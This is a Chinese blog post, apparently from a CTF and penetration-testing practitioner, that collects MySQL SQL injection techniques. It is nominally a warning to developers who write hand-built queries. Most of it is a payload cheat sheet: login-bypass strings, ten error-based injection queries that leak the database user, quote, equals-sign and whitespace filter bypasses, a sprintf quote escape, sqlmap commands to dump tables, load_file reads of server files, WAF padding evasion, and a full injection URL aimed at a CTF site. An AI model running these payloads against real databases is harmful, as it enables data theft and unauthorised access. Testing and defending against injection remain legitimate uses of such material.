数据库注入过滤总结

数据库注入过滤总结

比赛、渗透所总结的数据库注入攻击技巧,如果您迫不得已打算手写拼接数据库语句,请务必做好过滤,防范以下的攻击,这是很基础的。

fuzz

burp的爆破功能,使用wfuzz的sql字典
可以初步得知过滤的情况

MYSQL

基本语句

  • 数据库名
SELECT database();
SELECT group_concat(schema_name) FROM information_schema.schemata;
  • 表名
UNION SELECT GROUP_CONCAT(TABLE_NAME) from information_schema.tables WHERE TABLE_SCHEMA=database()
  • 列名
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

万能密码

  • username='or'1&password='or'1 (处理引号:or'

报错注入

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

盲注

时间盲注

MySQL基于时间盲注(Time-Based Blind SQL Injection)五种延时方法

绕过

  • 宽字节

  • 引号

-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
  • 等号
    • 使用!和<>的组合,等效于使用= where !(table_schema<>database())
    • regexp where table_schema regexp database()
    • in where table_schema in (select database())
    • like where username like 'admin'
  • 空格
    • 使用0x0a,`%09’代替·
    • 使用mid(group_concat(column_name separatoorr '@')from(0)for(1) 代替 mid((select flag from flag limit 0,1)
    • 使用括号(部分版本兼容)select(GROUP_CONCAT(TABLE_NAME))FROM(information_schema.tables)WHERE(TABLE_SCHEMA=database())
    • /**/

配合

sprintf

格式化字符串可以使单引号逃逸

发现方法: fuzz %
利用方法: %直接吃掉后面的\,但可能会报错,因为超过了给定的变量,解决方法,使用$

payload: %1$' or 1=1 #

sqlmap

基本使用

sqlmap -u 目标网址 --dbs
sqlmap -u 目标网址 --tables -D 数据库名
sqlmap -u 目标网址 --columns -T 表名 -D 数据库名
sqlmap -u 目标网址 --dump -C 字段名称 -T 表名 -D 数据库名

文件操作

读文件

SELECT load_file('/var/www/html/f13g_ls_here.txt')

waf绕过

  • 在post数据前部加入很长的无关参数,比如haha=aaaaaa…aaa&username=111…

结构猜测

  • 括号闭合: http://blog.q.2019.volgactf.ru/?s=)))+union+select+extractvalue(1,concat(0x3a,(select+flag+from+flag)))+%23%27)&exact=1&sentence=1

更加方便的防御方法

不断增加过滤的规则,以黑名单的方式防范数据库注入,是很劳累的。可以参考这篇博文,有更方便的防护方法

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值